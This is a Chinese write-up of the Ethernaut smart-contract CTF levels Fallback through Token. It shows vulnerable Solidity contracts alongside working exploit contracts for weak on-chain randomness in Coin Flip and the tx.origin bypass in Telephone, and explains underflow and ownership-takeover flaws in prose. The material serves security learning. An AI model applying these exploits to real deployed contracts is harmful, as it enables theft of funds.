目录
xctf 的区块链题目打的自闭,fjh 师傅推荐了个能刷区块链题目的平台,正好来练练手。

准备工作
首先当然是要科学上网啦,提供服务的一些网站基本没有在国内的,所以先网上冲浪吧。
其次安装 chrome 扩展小狐狸 MetaMask,这个相当于我们的区块链钱包,一般的区块链题目都是部署在 Ropsten 测试网络上,在测试网络我们可以无限白嫖 ETH(最多好像是持有 5 个 ETH),所以安装完成后先要去嫖几个币,记录一下能用的水龙头地址:
最后就是熟悉下 solidity 的语法,跟 go 差不多,几分钟就可以上手。
Hello Ethernaut
这个题目主要面向初学者,只要完成了上述准备工作能与网站交互即可,用浏览器 F12 开着 console 一顿瞎捣鼓即可过关。payload :
contract.authenticate('ethernaut0') // 之后 submit 即可
Fallback
直接给了源码,题目的要求:
- you claim ownership of the contract
- you reduce its balance to 0
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Fallback is Ownable { using SafeMath for uint256; mapping(address => uint) public contributions; function Fallback() public { contributions[msg.sender] = 1000 * (1 ether); } function contribute() public payable { require(msg.value < 0.001 ether); contributions[msg.sender] = contributions[msg.sender].add(msg.value); if(contributions[msg.sender] > contributions[owner]) { owner = msg.sender; } } function getContribution() public view returns (uint) { return contributions[msg.sender]; } function withdraw() public onlyOwner { owner.transfer(this.balance); } function() payable public { require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; } }
首先稍微审计一下,整个合约 Fallback 可以看做别的语言中的类,同样也有对应的同名构造函数 Fallback,这个构造函数会让映射(可以理解为 py 中的字典) contributions 初始化,但是初始化的键 msg.sender 并不是我们的地址,而是合约创建者的地址。也就是说实际上我们的操作无法调用构造函数 Fallback()。
其次是一个给钱函数 contribute,调用这个函数并给 send 过去 eth,就会把你的贡献记录在映射 contributions 中,同样也可以用 getContribution() 方法查看自己的贡献。

最后的函数没有参数莫得姓名,才是这个合约真正的 fallback 函数(回调函数), 触发这个函数有两个条件,要么 call 了一个没有的函数,要么没有传递任何数据。第一种情况类似 php 中的 __call() 魔术方法,另一种目前我也没太完全理解,只知道 send 给合约地址 eth 属于这种情况。因此我们直接用MetaMask 给当前合约转随便一笔钱,就会触发这个 fallback 函数,从而让合约的 owner 变成我们自己,这样就完成了要求的第一点,随后再调用 withdraw() 方法,就可以把我们之前转给合约的钱拿回来,顺便把 balance 清零。

Fallout
给了代码,过关条件是把合约 owner 替换为我们自己。
import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract Fallout is Ownable { using SafeMath for uint256; mapping (address => uint) allocations; /* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; } function allocate() public payable { allocations[msg.sender] = allocations[msg.sender].add(msg.value); } function sendAllocation(address allocator) public { require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); } function collectAllocations() public onlyOwner { msg.sender.transfer(this.balance); } function allocatorBalance(address allocator) public view returns (uint) { return allocations[allocator]; } }
这个题比较弱智,仔细看第一个函数实际上并不是构造函数(Fallout、Fal1out),所以直接调用 Fal1out() 方法即可。
Coin Flip
过关条件:连续十次猜对硬币。
这题才逐渐有点 ctf 的感觉,先看代码:
pragma solidity ^0.4.18; import 'openzeppelin-solidity/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function CoinFlip() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(block.blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
这个合约的问题在于,计算随机数时会取上一个区块的哈希值,与一个常量进行计算,由于区块链的特性,在这个计算过程中所有的因子都是可知的,因此我们可以模拟该合约生成的过程,就可以稳定猜中硬币的朝向,在 remix 编译器编写 exp:
pragma solidity ^0.4.18; contract CoinFlip { function flip(bool _guess) public returns (bool); } contract Exp{ address public con_addr = 0x8EbAEb3759143180A7Cdb4Ed832607986CA63AF5; // 这个地址改成合约的地址 CoinFlip c = CoinFlip(con_addr); uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; function guess() public{ uint256 blockValue = uint256(blockhash(block.number -1)); uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); bool side = coinFlip == 1 ? true : false; c.flip(side); } function getflag() public{ for(uint i = 0; i < 10; i++){ guess(); } } }
由于这个 sol 文件有两个合约,在编译的时候要选择编译 exp这个合约

此外,remix 编译器有时候会爆编译器未加载的错误,只要吧浏览器的过滤广告插件关了即可(白名单有时候不太行)。
调用合约的 guess() 方法,在题目处查询就可以看到执行成功。

Telephone
代码非常短,题目要求把 owner 改成我们自己的地址:
pragma solidity ^0.4.18; contract Telephone { address public owner; function Telephone() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
可以看到主要就是绕过 tx.origin 这个判断,但是这个变量是交易的初始发起者(一定是用户地址),而 msg.sender 是当前交易的发起者(可以是合约地址)。也就是说当用户部署了某个合约 A 去调用合约 B,在被调用的合约 B 看来,msg.sender 是合约 A 的地址,而 tx.origin 则代表整个调用链最顶端的人(合约 B -> 合约 -> A -> 用户),即用户。因此我们可以自定义一个合约调用这个合约的方法,此时的 tx.origin 就是用户地址,而 msg.sender 则是合约地址,就可以绕过限制。
pragma solidity ^0.4.18; contract Exp{ function getflag() public { Tele abc = Tele(0xd5a70904a983cd947c1bfdb9686831a85eb4eaae); abc.changeOwner(tx.origin); } } contract Tele{ function changeOwner (address _owner) public ; }
Token
要求让我们吧自己的 token 值调到特别大,题目代码:
pragma solidity ^0.4.18; contract Token { mapping(address => uint) balances; uint public totalSupply; function Token(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
这里考点主要是 solidity 的特性。由于映射 balances 的值是 unit 类型,根据 solidity 编译器,uint >= 0 永真,因此 transfer() 方法第一行的限制是完全不起作用的,可以随意给自己的地址转账,转完直接 submit 即可。
请问为什么我在coin flip里自己手动执行guess()可以,但是用getflag()就不行呢?我猜测是因为getflag中没有等到一笔交易confirm,就直接再执行一次guess,导致block number没有更新?